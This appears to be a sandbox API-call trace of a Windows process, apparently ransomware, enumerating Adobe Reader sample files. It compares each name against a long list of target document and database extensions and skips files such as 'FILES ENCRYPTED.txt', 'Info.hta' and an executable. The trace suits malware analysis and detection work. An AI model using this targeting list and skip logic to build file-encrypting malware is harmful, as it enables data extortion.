	[0176.457] lstrcmpiW (lpString1=".cfc", lpString2=".pdf") returned -1
	[0176.457] lstrlenW (lpString=".cfm") returned 4
	[0176.457] lstrcmpiW (lpString1=".cfm", lpString2=".pdf") returned -1
	[0176.457] lstrlenW (lpString=".cfml") returned 5
	[0176.457] lstrcmpiW (lpString1=".cfml", lpString2="r.pdf") returned -1
	[0176.457] lstrlenW (lpString=".cfu") returned 4
	[0176.457] lstrcmpiW (lpString1=".cfu", lpString2=".pdf") returned -1
	[0176.457] lstrlenW (lpString=".chm") returned 4
	[0176.458] lstrcmpiW (lpString1=".chm", lpString2=".pdf") returned -1
	[0176.458] lstrlenW (lpString=".cin") returned 4
	[0176.458] lstrcmpiW (lpString1=".cin", lpString2=".pdf") returned -1
	[0176.458] lstrlenW (lpString=".class") returned 6
	[0176.458] lstrcmpiW (lpString1=".class", lpString2="er.pdf") returned -1
	[0176.458] lstrlenW (lpString=".clx") returned 4
	[0176.458] lstrcmpiW (lpString1=".clx", lpString2=".pdf") returned -1
	[0176.458] lstrlenW (lpString=".config") returned 7
	[0176.458] lstrcmpiW (lpString1=".config", lpString2="per.pdf") returned -1
	[0176.458] lstrlenW (lpString=".cpp") returned 4
	[0176.458] lstrcmpiW (lpString1=".cpp", lpString2=".pdf") returned -1
	[0176.458] lstrlenW (lpString=".cr2") returned 4
	[0176.458] lstrcmpiW (lpString1=".cr2", lpString2=".pdf") returned -1
	[0176.458] lstrlenW (lpString=".crt") returned 4
	[0176.458] lstrcmpiW (lpString1=".crt", lpString2=".pdf") returned -1
	[0176.458] lstrlenW (lpString=".crw") returned 4
	[0176.458] lstrcmpiW (lpString1=".crw", lpString2=".pdf") returned -1
	[0176.458] lstrlenW (lpString=".cs") returned 3
	[0176.458] lstrcmpiW (lpString1=".cs", lpString2="pdf") returned -1
	[0176.458] lstrlenW (lpString=".css") returned 4
	[0176.458] lstrcmpiW (lpString1=".css", lpString2=".pdf") returned -1
	[0176.458] lstrlenW (lpString=".csv") returned 4
	[0176.458] lstrcmpiW (lpString1=".csv", lpString2=".pdf") returned -1
	[0176.458] lstrlenW (lpString=".cub") returned 4
	[0176.458] lstrcmpiW (lpString1=".cub", lpString2=".pdf") returned -1
	[0176.458] lstrlenW (lpString=".dae") returned 4
	[0176.458] lstrcmpiW (lpString1=".dae", lpString2=".pdf") returned -1
	[0176.458] lstrlenW (lpString=".dat") returned 4
	[0176.458] lstrcmpiW (lpString1=".dat", lpString2=".pdf") returned -1
	[0176.458] lstrlenW (lpString=".db") returned 3
	[0176.458] lstrcmpiW (lpString1=".db", lpString2="pdf") returned -1
	[0176.458] lstrlenW (lpString=".dbf") returned 4
	[0176.458] lstrcmpiW (lpString1=".dbf", lpString2=".pdf") returned -1
	[0176.458] lstrlenW (lpString=".dbx") returned 4
	[0176.459] lstrcmpiW (lpString1=".dbx", lpString2=".pdf") returned -1
	[0176.459] lstrlenW (lpString=".dc3") returned 4
	[0176.459] lstrcmpiW (lpString1=".dc3", lpString2=".pdf") returned -1
	[0176.459] lstrlenW (lpString=".dcm") returned 4
	[0176.459] lstrcmpiW (lpString1=".dcm", lpString2=".pdf") returned -1
	[0176.459] lstrlenW (lpString=".dcr") returned 4
	[0176.459] lstrcmpiW (lpString1=".dcr", lpString2=".pdf") returned -1
	[0176.459] lstrlenW (lpString=".der") returned 4
	[0176.459] lstrcmpiW (lpString1=".der", lpString2=".pdf") returned -1
	[0176.459] lstrlenW (lpString=".dib") returned 4
	[0176.459] lstrcmpiW (lpString1=".dib", lpString2=".pdf") returned -1
	[0176.459] lstrlenW (lpString=".dic") returned 4
	[0176.459] lstrcmpiW (lpString1=".dic", lpString2=".pdf") returned -1
	[0176.459] lstrlenW (lpString=".dif") returned 4
	[0176.459] lstrcmpiW (lpString1=".dif", lpString2=".pdf") returned -1
	[0176.459] lstrlenW (lpString=".divx") returned 5
	[0176.459] lstrcmpiW (lpString1=".divx", lpString2="r.pdf") returned -1
	[0176.459] lstrlenW (lpString=".djvu") returned 5
	[0176.459] lstrcmpiW (lpString1=".djvu", lpString2="r.pdf") returned -1
	[0176.459] lstrlenW (lpString=".dng") returned 4
	[0176.459] lstrcmpiW (lpString1=".dng", lpString2=".pdf") returned -1
	[0176.459] lstrlenW (lpString=".doc") returned 4
	[0176.459] lstrcmpiW (lpString1=".doc", lpString2=".pdf") returned -1
	[0176.459] lstrlenW (lpString=".docm") returned 5
	[0176.459] lstrcmpiW (lpString1=".docm", lpString2="r.pdf") returned -1
	[0176.459] lstrlenW (lpString=".docx") returned 5
	[0176.459] lstrcmpiW (lpString1=".docx", lpString2="r.pdf") returned -1
	[0176.459] lstrlenW (lpString=".dot") returned 4
	[0176.459] lstrcmpiW (lpString1=".dot", lpString2=".pdf") returned -1
	[0176.459] lstrlenW (lpString=".dotm") returned 5
	[0176.459] lstrcmpiW (lpString1=".dotm", lpString2="r.pdf") returned -1
	[0176.459] lstrlenW (lpString=".dotx") returned 5
	[0176.459] lstrcmpiW (lpString1=".dotx", lpString2="r.pdf") returned -1
	[0176.460] lstrlenW (lpString=".dpx") returned 4
	[0176.460] lstrcmpiW (lpString1=".dpx", lpString2=".pdf") returned -1
	[0176.460] lstrlenW (lpString=".dqy") returned 4
	[0176.460] lstrcmpiW (lpString1=".dqy", lpString2=".pdf") returned -1
	[0176.460] lstrlenW (lpString=".dsn") returned 4
	[0176.460] lstrcmpiW (lpString1=".dsn", lpString2=".pdf") returned -1
	[0176.460] lstrlenW (lpString=".dt") returned 3
	[0176.460] lstrcmpiW (lpString1=".dt", lpString2="pdf") returned -1
	[0176.460] lstrlenW (lpString=".dtd") returned 4
	[0176.460] lstrcmpiW (lpString1=".dtd", lpString2=".pdf") returned -1
	[0176.460] lstrlenW (lpString=".dwg") returned 4
	[0176.460] lstrcmpiW (lpString1=".dwg", lpString2=".pdf") returned -1
	[0176.460] lstrlenW (lpString=".dwt") returned 4
	[0176.460] lstrcmpiW (lpString1=".dwt", lpString2=".pdf") returned -1
	[0176.460] lstrlenW (lpString=".dx") returned 3
	[0176.460] lstrcmpiW (lpString1=".dx", lpString2="pdf") returned -1
	[0176.460] lstrlenW (lpString=".dxf") returned 4
	[0176.460] lstrcmpiW (lpString1=".dxf", lpString2=".pdf") returned -1
	[0176.460] lstrlenW (lpString=".edml") returned 5
	[0176.460] lstrcmpiW (lpString1=".edml", lpString2="r.pdf") returned -1
	[0176.460] lstrlenW (lpString=".efd") returned 4
	[0176.460] lstrcmpiW (lpString1=".efd", lpString2=".pdf") returned -1
	[0176.460] lstrlenW (lpString=".elf") returned 4
	[0176.460] lstrcmpiW (lpString1=".elf", lpString2=".pdf") returned -1
	[0176.460] lstrlenW (lpString=".emf") returned 4
	[0176.460] lstrcmpiW (lpString1=".emf", lpString2=".pdf") returned -1
	[0176.460] lstrlenW (lpString=".emz") returned 4
	[0176.460] lstrcmpiW (lpString1=".emz", lpString2=".pdf") returned -1
	[0176.460] lstrlenW (lpString=".epf") returned 4
	[0176.460] lstrcmpiW (lpString1=".epf", lpString2=".pdf") returned -1
	[0176.461] lstrlenW (lpString=".eps") returned 4
	[0176.461] lstrcmpiW (lpString1=".eps", lpString2=".pdf") returned -1
	[0176.461] lstrlenW (lpString=".epsf") returned 5
	[0176.461] lstrcmpiW (lpString1=".epsf", lpString2="r.pdf") returned -1
	[0176.461] lstrlenW (lpString=".epsp") returned 5
	[0176.461] lstrcmpiW (lpString1=".epsp", lpString2="r.pdf") returned -1
	[0176.461] lstrlenW (lpString=".erf") returned 4
	[0176.461] lstrcmpiW (lpString1=".erf", lpString2=".pdf") returned -1
	[0176.461] lstrlenW (lpString=".exr") returned 4
	[0176.461] lstrcmpiW (lpString1=".exr", lpString2=".pdf") returned -1
	[0176.461] lstrlenW (lpString=".f4v") returned 4
	[0176.461] lstrcmpiW (lpString1=".f4v", lpString2=".pdf") returned -1
	[0176.461] lstrlenW (lpString=".fido") returned 5
	[0176.461] lstrcmpiW (lpString1=".fido", lpString2="r.pdf") returned -1
	[0176.461] lstrlenW (lpString=".flm") returned 4
	[0176.461] lstrcmpiW (lpString1=".flm", lpString2=".pdf") returned -1
	[0176.461] lstrlenW (lpString=".flv") returned 4
	[0176.461] lstrcmpiW (lpString1=".flv", lpString2=".pdf") returned -1
	[0176.461] lstrlenW (lpString=".frm") returned 4
	[0176.461] lstrcmpiW (lpString1=".frm", lpString2=".pdf") returned -1
	[0176.461] lstrlenW (lpString=".fxg") returned 4
	[0176.461] lstrcmpiW (lpString1=".fxg", lpString2=".pdf") returned -1
	[0176.461] lstrlenW (lpString=".geo") returned 4
	[0176.461] lstrcmpiW (lpString1=".geo", lpString2=".pdf") returned -1
	[0176.461] lstrlenW (lpString=".gif") returned 4
	[0176.461] lstrcmpiW (lpString1=".gif", lpString2=".pdf") returned -1
	[0176.461] lstrlenW (lpString=".grs") returned 4
	[0176.461] lstrcmpiW (lpString1=".grs", lpString2=".pdf") returned -1
	[0176.461] lstrlenW (lpString=".gz") returned 3
	[0176.461] lstrcmpiW (lpString1=".gz", lpString2="pdf") returned -1
	[0176.461] lstrlenW (lpString=".h") returned 2
	[0176.461] lstrcmpiW (lpString1=".h", lpString2="df") returned -1
	[0176.461] lstrlenW (lpString=".hdr") returned 4
	[0176.461] lstrcmpiW (lpString1=".hdr", lpString2=".pdf") returned -1
	[0176.462] lstrlenW (lpString=".hpp") returned 4
	[0176.462] lstrcmpiW (lpString1=".hpp", lpString2=".pdf") returned -1
	[0176.462] lstrlenW (lpString=".hta") returned 4
	[0176.462] lstrcmpiW (lpString1=".hta", lpString2=".pdf") returned -1
	[0176.462] lstrlenW (lpString=".htc") returned 4
	[0176.462] lstrcmpiW (lpString1=".htc", lpString2=".pdf") returned -1
	[0176.462] lstrlenW (lpString=".htm") returned 4
	[0176.462] lstrcmpiW (lpString1=".htm", lpString2=".pdf") returned -1
	[0176.462] lstrlenW (lpString=".html") returned 5
	[0176.462] lstrcmpiW (lpString1=".html", lpString2="r.pdf") returned -1
	[0176.462] lstrlenW (lpString=".icb") returned 4
	[0176.462] lstrcmpiW (lpString1=".icb", lpString2=".pdf") returned -1
	[0176.462] lstrlenW (lpString=".ics") returned 4
	[0176.462] lstrcmpiW (lpString1=".ics", lpString2=".pdf") returned -1
	[0176.462] lstrlenW (lpString=".iff") returned 4
	[0176.462] lstrcmpiW (lpString1=".iff", lpString2=".pdf") returned -1
	[0176.462] lstrlenW (lpString=".inc") returned 4
	[0176.462] lstrcmpiW (lpString1=".inc", lpString2=".pdf") returned -1
	[0176.462] lstrlenW (lpString=".indd") returned 5
	[0176.462] lstrcmpiW (lpString1=".indd", lpString2="r.pdf") returned -1
	[0176.462] lstrlenW (lpString=".ini") returned 4
	[0176.462] lstrcmpiW (lpString1=".ini", lpString2=".pdf") returned -1
	[0176.462] lstrlenW (lpString=".iqy") returned 4
	[0176.462] lstrcmpiW (lpString1=".iqy", lpString2=".pdf") returned -1
	[0176.462] lstrlenW (lpString=".j2c") returned 4
	[0176.462] lstrcmpiW (lpString1=".j2c", lpString2=".pdf") returned -1
	[0176.462] lstrlenW (lpString=".j2k") returned 4
	[0176.462] lstrcmpiW (lpString1=".j2k", lpString2=".pdf") returned -1
	[0176.462] lstrlenW (lpString=".java") returned 5
	[0176.462] lstrcmpiW (lpString1=".java", lpString2="r.pdf") returned -1
	[0176.462] lstrlenW (lpString=".jp2") returned 4
	[0176.463] lstrcmpiW (lpString1=".jp2", lpString2=".pdf") returned -1
	[0176.463] lstrlenW (lpString=".jpc") returned 4
	[0176.463] lstrcmpiW (lpString1=".jpc", lpString2=".pdf") returned -1
	[0176.463] lstrlenW (lpString=".jpe") returned 4
	[0176.463] lstrcmpiW (lpString1=".jpe", lpString2=".pdf") returned -1
	[0176.463] lstrlenW (lpString=".jpeg") returned 5
	[0176.463] lstrcmpiW (lpString1=".jpeg", lpString2="r.pdf") returned -1
	[0176.463] lstrlenW (lpString=".jpf") returned 4
	[0176.463] lstrcmpiW (lpString1=".jpf", lpString2=".pdf") returned -1
	[0176.463] lstrlenW (lpString=".jpg") returned 4
	[0176.463] lstrcmpiW (lpString1=".jpg", lpString2=".pdf") returned -1
	[0176.463] lstrlenW (lpString=".jpx") returned 4
	[0176.463] lstrcmpiW (lpString1=".jpx", lpString2=".pdf") returned -1
	[0176.463] lstrlenW (lpString=".js") returned 3
	[0176.463] lstrcmpiW (lpString1=".js", lpString2="pdf") returned -1
	[0176.463] lstrlenW (lpString=".jsf") returned 4
	[0176.463] lstrcmpiW (lpString1=".jsf", lpString2=".pdf") returned -1
	[0176.463] lstrlenW (lpString=".json") returned 5
	[0176.463] lstrcmpiW (lpString1=".json", lpString2="r.pdf") returned -1
	[0176.463] lstrlenW (lpString=".jsp") returned 4
	[0176.463] lstrcmpiW (lpString1=".jsp", lpString2=".pdf") returned -1
	[0176.463] lstrlenW (lpString=".kdc") returned 4
	[0176.463] lstrcmpiW (lpString1=".kdc", lpString2=".pdf") returned -1
	[0176.463] lstrlenW (lpString=".kmz") returned 4
	[0176.463] lstrcmpiW (lpString1=".kmz", lpString2=".pdf") returned -1
	[0176.463] lstrlenW (lpString=".kwm") returned 4
	[0176.463] lstrcmpiW (lpString1=".kwm", lpString2=".pdf") returned -1
	[0176.463] lstrlenW (lpString=".lasso") returned 6
	[0176.463] lstrcmpiW (lpString1=".lasso", lpString2="er.pdf") returned -1
	[0176.463] lstrlenW (lpString=".lbi") returned 4
	[0176.463] lstrcmpiW (lpString1=".lbi", lpString2=".pdf") returned -1
	[0176.463] lstrlenW (lpString=".lgf") returned 4
	[0176.463] lstrcmpiW (lpString1=".lgf", lpString2=".pdf") returned -1
	[0176.464] lstrlenW (lpString=".lgp") returned 4
	[0176.464] lstrcmpiW (lpString1=".lgp", lpString2=".pdf") returned -1
	[0176.464] lstrlenW (lpString=".log") returned 4
	[0176.464] lstrcmpiW (lpString1=".log", lpString2=".pdf") returned -1
	[0176.464] lstrlenW (lpString=".m1v") returned 4
	[0176.464] lstrcmpiW (lpString1=".m1v", lpString2=".pdf") returned -1
	[0176.464] lstrlenW (lpString=".m4a") returned 4
	[0176.464] lstrcmpiW (lpString1=".m4a", lpString2=".pdf") returned -1
	[0176.464] lstrlenW (lpString=".m4v") returned 4
	[0176.464] lstrcmpiW (lpString1=".m4v", lpString2=".pdf") returned -1
	[0176.464] lstrlenW (lpString=".max") returned 4
	[0176.464] lstrcmpiW (lpString1=".max", lpString2=".pdf") returned -1
	[0176.464] lstrlenW (lpString=".md") returned 3
	[0176.464] lstrcmpiW (lpString1=".md", lpString2="pdf") returned -1
	[0176.464] lstrlenW (lpString=".mda") returned 4
	[0176.464] lstrcmpiW (lpString1=".mda", lpString2=".pdf") returned -1
	[0176.464] lstrlenW (lpString=".mdb") returned 4
	[0176.464] lstrcmpiW (lpString1=".mdb", lpString2=".pdf") returned -1
	[0176.464] lstrlenW (lpString=".mde") returned 4
	[0176.464] lstrcmpiW (lpString1=".mde", lpString2=".pdf") returned -1
	[0176.464] lstrlenW (lpString=".mdf") returned 4
	[0176.464] lstrcmpiW (lpString1=".mdf", lpString2=".pdf") returned -1
	[0176.464] lstrlenW (lpString=".mdw") returned 4
	[0176.464] lstrcmpiW (lpString1=".mdw", lpString2=".pdf") returned -1
	[0176.464] lstrlenW (lpString=".mef") returned 4
	[0176.464] lstrcmpiW (lpString1=".mef", lpString2=".pdf") returned -1
	[0176.464] lstrlenW (lpString=".mft") returned 4
	[0176.464] lstrcmpiW (lpString1=".mft", lpString2=".pdf") returned -1
	[0176.464] lstrlenW (lpString=".mfw") returned 4
	[0176.464] lstrcmpiW (lpString1=".mfw", lpString2=".pdf") returned -1
	[0176.464] lstrlenW (lpString=".mht") returned 4
	[0176.464] lstrcmpiW (lpString1=".mht", lpString2=".pdf") returned -1
	[0176.464] lstrlenW (lpString=".mhtml") returned 6
	[0176.464] lstrcmpiW (lpString1=".mhtml", lpString2="er.pdf") returned -1
	[0176.465] lstrlenW (lpString=".mka") returned 4
	[0176.465] lstrcmpiW (lpString1=".mka", lpString2=".pdf") returned -1
	[0176.465] lstrlenW (lpString=".mkidx") returned 6
	[0176.465] lstrcmpiW (lpString1=".mkidx", lpString2="er.pdf") returned -1
	[0176.465] lstrlenW (lpString=".mkv") returned 4
	[0176.465] lstrcmpiW (lpString1=".mkv", lpString2=".pdf") returned -1
	[0176.465] lstrlenW (lpString=".mos") returned 4
	[0176.465] lstrcmpiW (lpString1=".mos", lpString2=".pdf") returned -1
	[0176.465] lstrlenW (lpString=".mov") returned 4
	[0176.465] lstrcmpiW (lpString1=".mov", lpString2=".pdf") returned -1
	[0176.465] lstrlenW (lpString=".mp3") returned 4
	[0176.465] lstrcmpiW (lpString1=".mp3", lpString2=".pdf") returned -1
	[0176.465] lstrlenW (lpString=".mp4") returned 4
	[0176.465] lstrcmpiW (lpString1=".mp4", lpString2=".pdf") returned -1
	[0176.465] lstrlenW (lpString=".mpeg") returned 5
	[0176.465] lstrcmpiW (lpString1=".mpeg", lpString2="r.pdf") returned -1
	[0176.465] lstrlenW (lpString=".mpg") returned 4
	[0176.465] lstrcmpiW (lpString1=".mpg", lpString2=".pdf") returned -1
	[0176.465] lstrlenW (lpString=".mpv") returned 4
	[0176.465] lstrcmpiW (lpString1=".mpv", lpString2=".pdf") returned -1
	[0176.465] lstrlenW (lpString=".mrw") returned 4
	[0176.465] lstrcmpiW (lpString1=".mrw", lpString2=".pdf") returned -1
	[0176.465] lstrlenW (lpString=".msg") returned 4
	[0176.465] lstrcmpiW (lpString1=".msg", lpString2=".pdf") returned -1
	[0176.465] lstrlenW (lpString=".mxl") returned 4
	[0176.465] lstrcmpiW (lpString1=".mxl", lpString2=".pdf") returned -1
	[0176.465] lstrlenW (lpString=".myd") returned 4
	[0176.465] lstrcmpiW (lpString1=".myd", lpString2=".pdf") returned -1
	[0176.465] lstrlenW (lpString=".myi") returned 4
	[0176.465] lstrcmpiW (lpString1=".myi", lpString2=".pdf") returned -1
	[0176.465] lstrlenW (lpString=".nef") returned 4
	[0176.465] lstrcmpiW (lpString1=".nef", lpString2=".pdf") returned -1
	[0176.465] lstrlenW (lpString=".nrw") returned 4
	[0176.465] lstrcmpiW (lpString1=".nrw", lpString2=".pdf") returned -1
	[0176.466] lstrlenW (lpString=".obj") returned 4
	[0176.466] lstrcmpiW (lpString1=".obj", lpString2=".pdf") returned -1
	[0176.466] lstrlenW (lpString=".odb") returned 4
	[0176.466] lstrcmpiW (lpString1=".odb", lpString2=".pdf") returned -1
	[0176.466] lstrlenW (lpString=".odc") returned 4
	[0176.466] lstrcmpiW (lpString1=".odc", lpString2=".pdf") returned -1
	[0176.466] lstrlenW (lpString=".odm") returned 4
	[0176.466] lstrcmpiW (lpString1=".odm", lpString2=".pdf") returned -1
	[0176.466] lstrlenW (lpString=".odp") returned 4
	[0176.466] lstrcmpiW (lpString1=".odp", lpString2=".pdf") returned -1
	[0176.466] lstrlenW (lpString=".ods") returned 4
	[0176.466] lstrcmpiW (lpString1=".ods", lpString2=".pdf") returned -1
	[0176.466] lstrlenW (lpString=".oft") returned 4
	[0176.466] lstrcmpiW (lpString1=".oft", lpString2=".pdf") returned -1
	[0176.466] lstrlenW (lpString=".one") returned 4
	[0176.466] lstrcmpiW (lpString1=".one", lpString2=".pdf") returned -1
	[0176.466] lstrlenW (lpString=".onepkg") returned 7
	[0176.466] lstrcmpiW (lpString1=".onepkg", lpString2="per.pdf") returned -1
	[0176.466] lstrlenW (lpString=".onetoc2") returned 8
	[0176.466] lstrcmpiW (lpString1=".onetoc2", lpString2="aper.pdf") returned -1
	[0176.466] lstrlenW (lpString=".opt") returned 4
	[0176.466] lstrcmpiW (lpString1=".opt", lpString2=".pdf") returned -1
	[0176.466] lstrlenW (lpString=".oqy") returned 4
	[0176.466] lstrcmpiW (lpString1=".oqy", lpString2=".pdf") returned -1
	[0176.466] lstrlenW (lpString=".orf") returned 4
	[0176.466] lstrcmpiW (lpString1=".orf", lpString2=".pdf") returned -1
	[0176.466] lstrlenW (lpString=".p12") returned 4
	[0176.466] lstrcmpiW (lpString1=".p12", lpString2=".pdf") returned -1
	[0176.466] lstrlenW (lpString=".p7b") returned 4
	[0176.466] lstrcmpiW (lpString1=".p7b", lpString2=".pdf") returned -1
	[0176.466] lstrlenW (lpString=".p7c") returned 4
	[0176.466] lstrcmpiW (lpString1=".p7c", lpString2=".pdf") returned -1
	[0176.466] lstrlenW (lpString=".pam") returned 4
	[0176.466] lstrcmpiW (lpString1=".pam", lpString2=".pdf") returned -1
	[0176.467] lstrlenW (lpString=".pbm") returned 4
	[0176.467] lstrcmpiW (lpString1=".pbm", lpString2=".pdf") returned -1
	[0176.467] lstrlenW (lpString=".pct") returned 4
	[0176.467] lstrcmpiW (lpString1=".pct", lpString2=".pdf") returned -1
	[0176.467] lstrlenW (lpString=".pcx") returned 4
	[0176.467] lstrcmpiW (lpString1=".pcx", lpString2=".pdf") returned -1
	[0176.467] lstrlenW (lpString=".pdd") returned 4
	[0176.467] lstrcmpiW (lpString1=".pdd", lpString2=".pdf") returned -1
	[0176.467] lstrlenW (lpString=".pdf") returned 4
	[0176.467] lstrcmpiW (lpString1=".pdf", lpString2=".pdf") returned 0
	[0176.467] lstrlenW (lpString="Adobe Sign White Paper.pdf") returned 26
	[0176.467] lstrlenW (lpString=".GTF") returned 4
	[0176.467] lstrcmpiW (lpString1=".GTF", lpString2=".pdf") returned -1
	[0176.467] lstrlenW (lpString="Adobe Sign White Paper.pdf") returned 26
	[0176.467] lstrcmpiW (lpString1="boot.ini", lpString2="Adobe Sign White Paper.pdf") returned 1
	[0176.467] lstrcmpiW (lpString1="bootfont.bin", lpString2="Adobe Sign White Paper.pdf") returned 1
	[0176.467] lstrcmpiW (lpString1="ntldr", lpString2="Adobe Sign White Paper.pdf") returned 1
	[0176.467] lstrcmpiW (lpString1="ntdetect.com", lpString2="Adobe Sign White Paper.pdf") returned 1
	[0176.467] lstrcmpiW (lpString1="io.sys", lpString2="Adobe Sign White Paper.pdf") returned 1
	[0176.467] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="Adobe Sign White Paper.pdf") returned 1
	[0176.467] lstrcmpiW (lpString1="Info.hta", lpString2="Adobe Sign White Paper.pdf") returned 1
	[0176.467] lstrcmpiW (lpString1="fvppjh.exe", lpString2="Adobe Sign White Paper.pdf") returned 1
	[0176.467] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\assets\\Sample Files\\Adobe Sign White Paper.pdf") returned 154
	[0176.467] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1bb15, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Cloud for Government.pdf", cAlternateFileName="DOCUME~1.PDF")) returned 1
	[0176.467] lstrlenW (lpString="Document Cloud for Government.pdf") returned 33
	[0176.467] lstrlenW (lpString=".1cd") returned 4
	[0176.467] lstrcmpiW (lpString1=".1cd", lpString2=".pdf") returned -1
	[0176.467] lstrlenW (lpString=".3ds") returned 4
	[0176.467] lstrcmpiW (lpString1=".3ds", lpString2=".pdf") returned -1
	[0176.467] lstrlenW (lpString=".3fr") returned 4
	[0176.467] lstrcmpiW (lpString1=".3fr", lpString2=".pdf") returned -1
	[0176.467] lstrlenW (lpString=".3g2") returned 4
	[0176.468] lstrcmpiW (lpString1=".3g2", lpString2=".pdf") returned -1
	[0176.468] lstrlenW (lpString=".3gp") returned 4
	[0176.468] lstrcmpiW (lpString1=".3gp", lpString2=".pdf") returned -1
	[0176.468] lstrlenW (lpString=".7z") returned 3
	[0176.468] lstrcmpiW (lpString1=".7z", lpString2="pdf") returned -1
	[0176.468] lstrlenW (lpString=".accda") returned 6
	[0176.468] lstrcmpiW (lpString1=".accda", lpString2="nt.pdf") returned -1
	[0176.468] lstrlenW (lpString=".accdb") returned 6
	[0176.468] lstrcmpiW (lpString1=".accdb", lpString2="nt.pdf") returned -1
	[0176.468] lstrlenW (lpString=".accdc") returned 6
	[0176.468] lstrcmpiW (lpString1=".accdc", lpString2="nt.pdf") returned -1
	[0176.468] lstrlenW (lpString=".accde") returned 6
	[0176.468] lstrcmpiW (lpString1=".accde", lpString2="nt.pdf") returned -1
	[0176.468] lstrlenW (lpString=".accdt") returned 6
	[0176.468] lstrcmpiW (lpString1=".accdt", lpString2="nt.pdf") returned -1
	[0176.468] lstrlenW (lpString=".accdw") returned 6
	[0176.468] lstrcmpiW (lpString1=".accdw", lpString2="nt.pdf") returned -1
	[0176.468] lstrlenW (lpString=".adb") returned 4
	[0176.468] lstrcmpiW (lpString1=".adb", lpString2=".pdf") returned -1
	[0176.468] lstrlenW (lpString=".adp") returned 4
	[0176.468] lstrcmpiW (lpString1=".adp", lpString2=".pdf") returned -1
	[0176.468] lstrlenW (lpString=".ai") returned 3
	[0176.468] lstrcmpiW (lpString1=".ai", lpString2="pdf") returned -1
	[0176.468] lstrlenW (lpString=".ai3") returned 4
	[0176.468] lstrcmpiW (lpString1=".ai3", lpString2=".pdf") returned -1
	[0176.468] lstrlenW (lpString=".ai4") returned 4
	[0176.468] lstrcmpiW (lpString1=".ai4", lpString2=".pdf") returned -1
	[0176.468] lstrlenW (lpString=".ai5") returned 4
	[0176.468] lstrcmpiW (lpString1=".ai5", lpString2=".pdf") returned -1
	[0176.468] lstrlenW (lpString=".ai6") returned 4
	[0176.468] lstrcmpiW (lpString1=".ai6", lpString2=".pdf") returned -1
	[0176.468] lstrlenW (lpString=".ai7") returned 4
	[0176.468] lstrcmpiW (lpString1=".ai7", lpString2=".pdf") returned -1
	[0176.469] lstrlenW (lpString=".ai8") returned 4
	[0176.469] lstrcmpiW (lpString1=".ai8", lpString2=".pdf") returned -1
	[0176.469] lstrlenW (lpString=".anim") returned 5
	[0176.469] lstrcmpiW (lpString1=".anim", lpString2="t.pdf") returned -1
	[0176.469] lstrlenW (lpString=".arw") returned 4
	[0176.469] lstrcmpiW (lpString1=".arw", lpString2=".pdf") returned -1
	[0176.469] lstrlenW (lpString=".as") returned 3
	[0176.469] lstrcmpiW (lpString1=".as", lpString2="pdf") returned -1
	[0176.469] lstrlenW (lpString=".asa") returned 4
	[0176.469] lstrcmpiW (lpString1=".asa", lpString2=".pdf") returned -1
	[0176.469] lstrlenW (lpString=".asc") returned 4
	[0176.469] lstrcmpiW (lpString1=".asc", lpString2=".pdf") returned -1
	[0176.469] lstrlenW (lpString=".ascx") returned 5
	[0176.469] lstrcmpiW (lpString1=".ascx", lpString2="t.pdf") returned -1
	[0176.469] lstrlenW (lpString=".asm") returned 4
	[0176.469] lstrcmpiW (lpString1=".asm", lpString2=".pdf") returned -1
	[0176.469] lstrlenW (lpString=".asmx") returned 5
	[0176.469] lstrcmpiW (lpString1=".asmx", lpString2="t.pdf") returned -1
	[0176.469] lstrlenW (lpString=".asp") returned 4
	[0176.469] lstrcmpiW (lpString1=".asp", lpString2=".pdf") returned -1
	[0176.586] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.586] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Sample Files", cAlternateFileName="SAMPLE~1")) returned 0
	[0176.586] FindClose (in: hFindFile=0x4140ed8 | out: hFindFile=0x4140ed8) returned 1
	[0176.587] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0176.587] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1
	[0176.713] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
